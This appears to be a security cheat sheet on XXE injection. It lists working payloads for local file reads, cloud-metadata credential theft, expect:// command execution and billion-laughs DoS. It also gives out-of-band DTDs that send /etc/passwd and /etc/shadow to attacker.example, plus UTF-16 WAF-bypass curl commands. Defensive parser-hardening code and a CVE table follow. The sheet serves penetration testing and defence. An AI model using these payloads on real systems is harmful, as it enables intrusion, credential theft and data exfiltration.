Vulnsy
All cheat sheets

XML External Entity (XXE) Cheat Sheet

criticalOWASP Top 10 A05CWE-611CWE-776CWE-827

XML External Entity (XXE) injection abuses XML parsers that resolve external entities, letting an attacker read local files, perform SSRF, exfiltrate data via DNS/HTTP, or DoS the server through entity expansion. Test with a DOCTYPE declaring a SYSTEM entity pointing at file:///etc/passwd; if the response reflects content, you have classic XXE. If not, escalate to blind OOB DTD or error-based local-DTD reuse.

Beyond the XML body, probe SAML/SOAP envelopes, SVG and DOCX uploads, JSON endpoints accepting Content-Type: application/xml, and any pipeline that hits an XML parser indirectly (resume parsers, e-signature renderers, headless renderers). Modern XXE keeps appearing in SSO and document-conversion code paths.

28 payloads across 7 technique families

Classic In-Band XXE

Direct entity expansion where the parsed XML element is echoed back in the HTTP response. The simplest variant — the file content appears in a normal-looking response field.

Detection signals
  • File content (root:x:0:0:..., [extensions] ..., or PHP source) appears in a normal response field.
  • Stack trace such as org.xml.sax.SAXParseException, lxml.etree.XMLSyntaxError or System.Xml.XmlException mentioning the leaked path.
  • file:///dev/random or file:///dev/zero hangs the response — file-read primitive even when content is not reflected.

Linux file read

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<stockCheck><productId>&xxe;</productId></stockCheck>

Defines an external general entity pointing at a local file; the parser substitutes &xxe; with the file content during expansion, which the application then echoes in its response.

Windows file read

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<r>&xxe;</r>

Same primitive on Windows targets — win.ini is a small, predictable file useful as a smoke test before pivoting to higher-value paths.

PHP source disclosure via php://filter

PHP
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<r>&xxe;</r>

php://filter wraps the file read in a base64 encoder so binary or PHP-tag-containing files survive XML parsing — yields PHP source code, not just data files.

expect:// command execution

PHP with expect ext
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
<r>&xxe;</r>

When the PHP expect extension is loaded, expect:// runs a shell command and returns stdout — XXE-to-RCE in one payload.

AWS IMDSv1 SSRF

AWS
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]>
<r>&xxe;</r>

External entities also resolve http:// URLs — pointing at the AWS instance metadata service yields IAM role credentials reachable from inside the VM.

GCP metadata token

GCP
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token">]>
<r>&xxe;</r>

Same SSRF-via-XXE pattern against GCP's metadata server — yields a service-account OAuth token. Note GCP requires a Metadata-Flavor header normally, which XXE typically cannot send.

Azure IMDS token

Azure
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/">]>
<r>&xxe;</r>

Azure IMDS at the same RFC1918 address. Resource parameter chooses the API audience — management.azure.com gives ARM-control tokens.

Internal port scan

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://10.0.0.5:6379/">]><r>&xxe;</r>

Differential timing or different error responses from the parser fingerprint open vs closed internal TCP ports — XXE turns into a port scanner.

Blind OOB via External DTD

When entity content is not reflected, host an external DTD that defines a parameter entity referencing a file:// URL plus a second entity that exfiltrates the content via HTTP/FTP query string. Required when the parser blocks inline parameter-entity definitions inside the document subset.

Detection signals
  • Burp Collaborator / Interactsh receives DNS or HTTP requests originating from the target IP.
  • The hosted exfil.dtd is fetched by the target — log the User-Agent (often distinctive Java / libxml2 strings).
  • For DNS-only exfil, observe encoded subdomain lookups arriving at your authoritative resolver.

In-band probe pulling external DTD

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.example/exfil.dtd"> %xxe;]>
<r>1</r>

Triggers the parser to fetch attacker-hosted exfil.dtd. The DTD then defines further parameter entities that exfiltrate file content out-of-band.

Hosted exfil.dtd (HTTP exfil)

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.example/x?d=%file;'>">
%eval;
%exfil;

The %eval; trick rewrites a parameter entity at parse time so it embeds the file content in a URL — when %exfil; resolves, the parser issues an HTTP GET carrying the data.

FTP variant for multi-line content

<!ENTITY % file SYSTEM "file:///etc/shadow">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.example:2121/%file;'>">
%eval; %exfil;

FTP control connections accept newlines and longer payloads than HTTP query strings — useful for files that contain LF or are larger than the URL length limit.

DNS-only exfil (egress-restricted)

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://%file;.attacker.example/'>">
%eval;
%exfil;

Encodes file content as a DNS subdomain. Even when outbound HTTP is blocked, internal DNS resolvers usually forward to the internet — yielding exfil with a single A-record lookup.

Burp Collaborator out-of-band beacon

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://YOUR-COLLAB.oastify.com/"> %xxe;]>
<r>1</r>

Pure detection probe — any HTTP/DNS interaction received by Burp Collaborator confirms blind XXE without yet attempting file read.

Error-Based via Local DTD Reuse

When OOB egress is blocked, redefine entities inside a local DTD already on disk so that the parser surfaces file contents inside an error message. Standard targets are docbookx.dtd on Linux and cim20.dtd on Windows.

Detection signals
  • XML parser error messages contain file content (e.g. "file not found: /nonexistent/root:x:0:0:...").
  • Useful when neither in-band reflection nor outbound HTTP/DNS is permitted.
  • List of working local DTDs by OS is maintained in HackTricks.

Linux docbookx.dtd ISOamso redefine

Linux
<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/%file;&#x27;>">
    &#x25;eval;
    &#x25;error;
  '>
  %local_dtd;
]>
<message>x</message>

Redefines the ISOamso parameter entity that docbookx.dtd already declares. When the parser reuses the entity later, it tries to load a non-existent file whose path embeds /etc/passwd content — the resulting "file not found" error surfaces the data.

Windows cim20.dtd reuse

Windows
<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY % local_dtd SYSTEM "file:///C:/Windows/System32/wbem/xml/cim20.dtd">
  <!ENTITY % SuperClass '<!ENTITY &#x25; file SYSTEM "file:///c:/windows/win.ini"><!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nope/%file;&#x27;>">&#x25;eval;&#x25;error;'>
  %local_dtd;
]>
<m>x</m>

Same trick on Windows hosts using the WMI/CIM DTD that ships with every modern Windows install — SuperClass parameter entity gets redefined to leak file content via failed-load error.

JDK XMLSchema.dtd fallback

Java
<!DOCTYPE m [
  <!ENTITY % local_dtd SYSTEM "jar:file:///opt/java/lib/jaxp-ri/jaxp-ri.jar!/com/sun/org/apache/xml/internal/serializer/XMLSchema.dtd">
  %local_dtd;
]>
<m>x</m>

Java parsers ship XMLSchema.dtd inside their own JARs reachable via jar:file://. When docbookx isn't present, this DTD provides another reusable parameter-entity surface for error-based exfil.

XInclude (DOCTYPE-stripped)

When the upstream layer strips DOCTYPE but the parser is XInclude-aware, inject xi:include inside any element to fetch external resources without a DOCTYPE declaration.

Detection signals
  • Application strips <!DOCTYPE> upstream but still echoes file content — XInclude is reachable.
  • Parser is configured with setXIncludeAware(true) without disabling external resolution.

XInclude file read

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

parse="text" pulls the file content as a text node so XML escaping doesn't mangle it. Bypasses DOCTYPE blocklists entirely because XInclude is enabled at parser-config level, not via DOCTYPE.

XInclude SSRF probe

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://169.254.169.254/latest/meta-data/" parse="text"/></foo>

Fetches AWS instance metadata through XInclude — XInclude pulls remote resources just like external entities do.

SVG / DOCX / SAML / SOAP XXE

XML embedded in non-XML-looking surfaces. SVG uploads (avatars, profile pictures), DOCX/XLSX/ODT (zip wrappers around XML), SOAP and SAML envelopes, and XMP image metadata all reach XML parsers downstream.

Detection signals
  • Avatar / profile-picture upload returns a rendered image whose pixels contain file content text.
  • SAML/SSO endpoints under /saml/, /sso/, /soap/, /ws/ return file-read results in error fields.
  • Document conversion service (resume parser, PDF generator, e-signature) reflects file content in the converted output.

SVG file-upload XXE

SVG
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg xmlns="http://www.w3.org/2000/svg"><text x="0" y="20">&xxe;</text></svg>

Renderers (ImageMagick, librsvg, headless Chromium) parse SVG as XML. The text element renders the entity-expanded file content directly into the rasterized output the user can download.

SVG xlink:href image variant

SVG via ImageMagick / librsvg
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="600" height="400">
  <image xlink:href="file:///etc/passwd" width="600" height="400"/>
</svg>

Some renderers fetch xlink:href targets even when general-entity expansion is disabled — file:// URI yields the file as the rendered "image" payload.

SAML Response XXE (Ivanti CVE-2024-22024 class)

SAML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE samlp:Response [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
  <samlp:Issuer>&xxe;</samlp:Issuer>
</samlp:Response>

SAML endpoints typically accept XML envelopes. Adding a DOCTYPE before the signed elements injects the entity at parse time even though the SAML signature only covers a subset.

DOCX repack pipeline

DOCX
unzip target.docx -d out/  # modify out/word/document.xml to add a DOCTYPE
# add <!DOCTYPE w:document [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# replace a body text node with &xxe;
cd out && zip -r ../malicious.docx .

DOCX is a zip of XML files. Unzipping, editing word/document.xml, and re-zipping gives a Word file that triggers XXE when ingested by resume parsers, document converters, or e-signature renderers.

SOAP envelope with DOCTYPE

SOAP
<?xml version="1.0"?>
<!DOCTYPE soap:Envelope [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body><user>&xxe;</user></soap:Body>
</soap:Envelope>

Older SOAP stacks (Apache CXF, .NET WSE) frequently allow DOCTYPE in incoming envelopes, especially when the WSDL doesn't explicitly forbid it.

JSON-to-XML Content-Type Pivot

Modern frameworks (Spring, .NET, FastAPI) auto-negotiate content types. A JSON-only endpoint may quietly accept Content-Type: application/xml and dispatch to an unhardened XML parser. Switch the content type and re-send.

Detection signals
  • Endpoint returns identical JSON for application/xml as for application/json — confirms it accepts both.
  • Burp's Content Type Converter plugin automates the pivot.
  • WAF bypass: switch to UTF-16LE encoding when UTF-8 payload is blocked.

JSON endpoint pivoted to XML

Content-Type: application/xml

<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><id>&xxe;</id></root>

The handler dispatches by Content-Type. Switching from application/json to application/xml routes the request through Jackson/XStream/JAXB, which may not have entity resolution disabled.

text/xml fallback

Content-Type: text/xml

<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><id>&xxe;</id></root>

Some dispatchers register text/xml separately from application/xml. Try both — text/xml routes through different parsers in older Java stacks.

UTF-16 WAF bypass

iconv -f UTF-8 -t UTF-16LE payload.xml > payload-utf16.xml
curl -H 'Content-Type: application/xml; charset=utf-16' --data-binary @payload-utf16.xml https://target/api

Many WAFs only inspect UTF-8 streams. Re-encoding the document as UTF-16LE with a BOM and submitting with charset=utf-16 sneaks past content inspection.

Billion Laughs / Quadratic Blowup (DoS)

Recursive entity expansion or quadratic-blowup string repetition exhausts memory/CPU. Doesn't require external entities — relevant even when XXE is "patched" by disabling external resolution but DTDs are still allowed.

Detection signals
  • 5xx response with elevated CPU on the target.
  • Container memory limit hit / OOM kill.
  • Effective even when external entities are disabled — internal entity expansion is a separate parser feature.

Billion Laughs (exponential)

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY a0 "dosdosdos">
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
  <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<lolz>&a4;</lolz>

Each entity references the previous ten times — a4 expands to 10^4 copies of dosdosdos. Five levels deep yields hundreds of MB; eight levels DoSes most parsers without expansion limits.

Quadratic blowup

<?xml version="1.0"?>
<!DOCTYPE kaboom [<!ENTITY a "AAAAAAAAAAAAAAAAAA...(50,000 A)">]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;...(50,000 refs)</kaboom>

Single large entity referenced thousands of times — quadratic memory blowup that bypasses parsers protecting against exponential expansion only.

Modern bypasses (2023–2026)

SAML pipeline parser-fixing (CVE-2024-22024)

Ivanti Connect Secure exposed an unauthenticated SAML endpoint whose XML parser still permitted external entities even though the SAML library was supposedly hardened. Re-test SSO endpoints after every framework upgrade — SimpleSAMLphp xml-common (CVE-2024-52596) is the same antipattern in a popular library.

<!DOCTYPE samlp:Response [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

lxml resolver wrapper bypass (CVE-2024-6508)

Even lxml with resolve_entities=False can be tricked when wrapper code constructs the parser without no_network=True or load_dtd=False. The constructor must specify ALL three flags — leaving any default exposes XXE.

Local DTDs as oracle for egress-restricted targets

When egress is firewalled, recycle on-disk DTDs (docbookx.dtd, cim20.dtd, oasis-xml-catalog.dtd, JDK's XMLSchema.dtd) for error-based exfil. HackTricks maintains a list of working DTDs per OS — pick one that ships with the target distro.

Cloud-metadata SSRF via XXE

IMDSv1 (AWS) is reachable via XXE because the SSRF originates from inside the VM. Force IMDSv2 (PUT with X-aws-ec2-metadata-token-ttl-seconds header) where possible — XXE typically cannot send the required headers.

JSON↔XML content-type pivot

A JSON-only endpoint may quietly accept XML when the framework auto-negotiates. The content-type list in the request dispatcher is the real attack surface — Spring, Jackson, and .NET's ApiController all support both unless explicitly restricted.

Content-Type: application/xml

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root><id>&xxe;</id></root>

Headless renderer XXE (ImageMagick / wkhtmltopdf / librsvg)

Image converters, PDF renderers and SVG ingestors are repeat XXE offenders. They accept SVG / MVG inputs and parse XML internally without the same hardening as the application server.

WAF bypass via UTF-16 / UTF-7 encoding

Many web WAFs only inspect UTF-8 streams. Re-encoding the document as UTF-16LE with a BOM (or UTF-7) and submitting with the corresponding charset in Content-Type bypasses content inspection while the underlying XML parser still accepts the encoding.

iconv -f UTF-8 -t UTF-16LE payload.xml | curl -H 'Content-Type: application/xml; charset=utf-16' --data-binary @- https://target/api

Defences

Java — DocumentBuilderFactory hardening

Disable DOCTYPE outright with disallow-doctype-decl, then disable external entities, parameter entities, external DTD loading and XInclude as defense-in-depth. Apply the same set across SAXParserFactory, XMLInputFactory and TransformerFactory.

import javax.xml.XMLConstants;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.stream.XMLInputFactory;
import javax.xml.transform.TransformerFactory;

// DocumentBuilderFactory (DOM)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

// SAXParserFactory
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setXIncludeAware(false);

// StAX
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false);

// TransformerFactory
TransformerFactory tf = TransformerFactory.newInstance();
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");

.NET — XmlReaderSettings with DtdProcessing.Prohibit

Use XmlReader with DtdProcessing.Prohibit and XmlResolver=null. Cap entity expansion via MaxCharactersFromEntities. For XmlDocument, explicitly null the resolver — the default since .NET 4.5.2 is safe but earlier code paths still appear in legacy apps.

using System.Xml;

// XmlReader (recommended)
var settings = new XmlReaderSettings {
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver  = null,
    MaxCharactersFromEntities = 1024
};
using var reader = XmlReader.Create(stream, settings);

// XmlDocument — must explicitly null the resolver
var doc = new XmlDocument { XmlResolver = null };
doc.Load(stream);

// XPathDocument — same pattern
var xpath = new XPathDocument(reader);

PHP — libxml hardening (LIBXML_NONET, no LIBXML_NOENT)

PHP 8.0+ disables external entity loading by default in libxml2, but defensive code should still set libxml_set_external_entity_loader to a null loader and pass LIBXML_NONET. Critically, do NOT pass LIBXML_NOENT — that flag *enables* entity substitution.

<?php
// Defensive belt-and-braces — block external entity loader explicitly
libxml_set_external_entity_loader(static fn() => null);

// DOMDocument — LIBXML_NONET blocks network-fetched entities. Do NOT add LIBXML_NOENT.
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NONET);

// SimpleXML
$xml = simplexml_load_string($input, "SimpleXMLElement", LIBXML_NONET);

// XMLReader — set DtdProcessing equivalent via libxml options
$reader = new XMLReader();
$reader->xml($xml, null, LIBXML_NONET);

Python — defusedxml + lxml hardening

Always prefer defusedxml drop-in replacements for stdlib XML modules. For lxml, build the XMLParser explicitly with resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False — leaving any default exposes XXE (CVE-2024-6508).

# GOOD — defusedxml as drop-in safe replacement
from defusedxml.ElementTree import fromstring
from defusedxml import minidom, sax

doc = fromstring(user_supplied_xml)

# lxml — must specify ALL flags
from lxml import etree
parser = etree.XMLParser(
    resolve_entities=False,
    no_network=True,
    dtd_validation=False,
    load_dtd=False,
)
tree = etree.fromstring(data, parser=parser)

# BAD — stdlib xml.etree without defusedxml is still vulnerable
# from xml.etree.ElementTree import fromstring   # billion-laughs DoS reachable

Ruby — Nokogiri nonet + REXML expansion limit

Nokogiri exposes per-document parser flags. .nonet blocks network loads; .noent(false) prevents entity substitution. For REXML, set entity_expansion_limit = 0 to disable expansion entirely.

# Nokogiri
require 'nokogiri'
doc = Nokogiri::XML(input) { |c| c.strict.nonet.noent(false) }
# .noent(false) prevents entity substitution; .nonet blocks network loads.

# REXML
require 'rexml/document'
REXML::Document.entity_expansion_limit = 0
doc = REXML::Document.new(input)

# ruby-saml hardening — pin to >= 1.18 (CVE-2024-45409 fix line)

Go — encoding/xml is XXE-safe by default

Go's stdlib encoding/xml does not perform DTD processing or external entity expansion — XXE is structurally impossible. If using third-party libraries (etree, xmlquery), audit for DTD support before accepting attacker-controlled input.

package main

import (
    "encoding/xml"
    "io"
)

// SAFE by default — encoding/xml does not resolve external entities or DTDs.
type Stock struct {
    XMLName xml.Name `xml:"stockCheck"`
    ID      string   `xml:"productId"`
}

func parse(r io.Reader) (Stock, error) {
    var s Stock
    dec := xml.NewDecoder(r)
    dec.Strict = true
    return s, dec.Decode(&s)
}

Generic hardening — strip DOCTYPE upstream and isolate parsers

For SAML specifically, validate signatures on the raw canonical XML before parsing inner content and reject any document containing a DOCTYPE. Run XML-parsing services with no outbound network egress (deny-all + allowlist) so SSRF/exfil chains break even when XXE lands.

Real-world CVEs

CVEYearTitleDescription
CVE-2024-220242024Ivanti Connect Secure unauthenticated SAML XXEXXE in the SAML component of Ivanti Connect Secure / Policy Secure / ZTA reachable without authentication — granted access to restricted resources and triggered ransomware-precursor exploitation in early 2024.
CVE-2024-525962024SimpleSAMLphp xml-common XXEInsufficiently hardened XML parser in SimpleSAMLphp's xml-common library exposed the SAML message-processing path to external entity injection — same antipattern as Ivanti, in a widely-used PHP SSO library.
CVE-2025-01622025IBM Aspera Shares authenticated XXEAuthenticated users could trigger XXE in the document-handling endpoints of IBM Aspera Shares, yielding file read and memory exhaustion. Patched by IBM bulletin 2025.
CVE-2024-65082024python-lxml resolver wrapper bypasslxml with resolve_entities=False was still vulnerable when wrapper code did not also set no_network=True and load_dtd=False — multiple downstream applications inherited the misconfiguration.
CVE-2024-454092024ruby-saml SAML signature-bypass / XXE classSame XML parser misconfiguration root cause as the SimpleSAMLphp issue — ruby-saml allowed crafted SAML responses to bypass signature validation, exploitable in concert with XXE.
CVE-2023-290072023Apache Calcite Avatica JDBC XML deserialization XXEXXE via JDBC connection-string XML deserialization in Apache Calcite Avatica — affected analytic-database clients that ingested attacker-controlled connection metadata.
CVE-2023-323142023vm2 / Node ecosystem XXE-adjacent escapeXML-handling escape primitive in the Node ecosystem often chained with XXE in document pipelines (resume parsers, e-signature renderers) where user-controlled XML reached an unhardened parser.

Further reading